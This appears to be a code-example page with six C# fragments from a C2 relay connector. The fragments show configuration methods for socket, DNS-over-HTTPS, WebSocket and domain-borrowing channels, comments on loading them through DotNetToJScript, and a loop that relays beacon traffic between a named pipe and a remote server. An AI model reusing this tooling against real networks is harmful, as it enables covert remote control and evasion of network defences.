Пример #1
0
 /// <summary>
 ///     Configuration function for DotNetToJScript and Unit Tests
 ///     To use with JScript:
 ///     o.Configure('127.0.0.1', '2222');
 ///     o.Go()
 /// </summary>
 /// <param name="ipAddr"></param>
 /// <param name="port"></param>
 public void Configure(string ipAddr, string port)
 {
     Port          = port;
     IpAddress     = ipAddr;
     PipeName      = Guid.NewGuid();
     BeaconChannel = new BeaconChannel(PipeName);
     ServerChannel = new SocketChannel(ipAddr, port);
 }
Пример #2
0
 /// <summary>
 ///     Configuration function for DotNetToJScript and Unit Tests
 ///     To use with JScript:
 ///     o.Configure('send.example.org','receive.example.org','https://doh-provider.example.org/resolve');
 ///     o.Go()
 /// </summary>
 /// <param name="ipAddr"></param>
 /// <param name="port"></param>
 public void Configure(string sendHost, string receiveHost, string resolver)
 {
     sHost         = sendHost;
     rHost         = receiveHost;
     dResolver     = resolver;
     PipeName      = Guid.NewGuid();
     BeaconChannel = new BeaconChannel(PipeName);
     ServerChannel = new DoHChannel(sHost, rHost, dResolver);
 }
Пример #3
0
        /// <summary>
        ///     Sets the started boolean to false and disconnects the underlying channels
        /// </summary>
        public void Stop()
        {
            Started = false;

            Console.WriteLine("[-] Closing pipe connection");
            BeaconChannel?.Close();

            Console.WriteLine("[-] Closing socket connection");
            ServerChannel?.Close();
        }
Пример #4
0
        /// <summary>
        ///     The main function for relaying C2 communications
        /// </summary>
        /// <exception cref="T:System.Exception"></exception>
        public void Go()
        {
            try
            {
                if (!Initialize())
                {
                    throw new Exception("C2 connector was not initialized...");
                }

                if (!ServerChannel.Connected)
                {
                    throw new Exception("Server Channel is not connected");
                }

                if (!BeaconChannel.Connected)
                {
                    throw new Exception("Beacon Channel is not connected");
                }

                Started = true;
                while (true)
                {
                    if (!BeaconChannel.ReadAndSendTo(ServerChannel))
                    {
                        break;
                    }
                    if (!ServerChannel.ReadAndSendTo(BeaconChannel))
                    {
                        break;
                    }
                    Thread.Sleep(Sleep);
                }
                Console.WriteLine("[!] Stopping loop, no bytes received");
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] Exception occured: {ex.Message}");
            }
            finally
            {
                Stop();
            }
        }
Пример #5
0
 /// <summary>
 ///     Configuration function for DotNetToJScript and Unit Tests
 ///     To use with JScript:
 ///     o.Configure('ws://127.0.0.1/bws');
 ///     o.Go()
 /// </summary>
 /// <param name="url"></param>
 public void Configure(string url)
 {
     BeaconChannel = new BeaconChannel();
     ServerChannel = new WebSocketChannel(url);
     UrlEndpoint   = url;
 }
Пример #6
0
 public Client(string url, string sni, int port = 443, int sleep = 60000)
     : base(new DomainBorrowingChannel(url, sni, port), sleep)
 {
     BeaconChannel = new BeaconChannel(PipeName);
     ServerChannel = new DomainBorrowingChannel(url, sni, port);
 }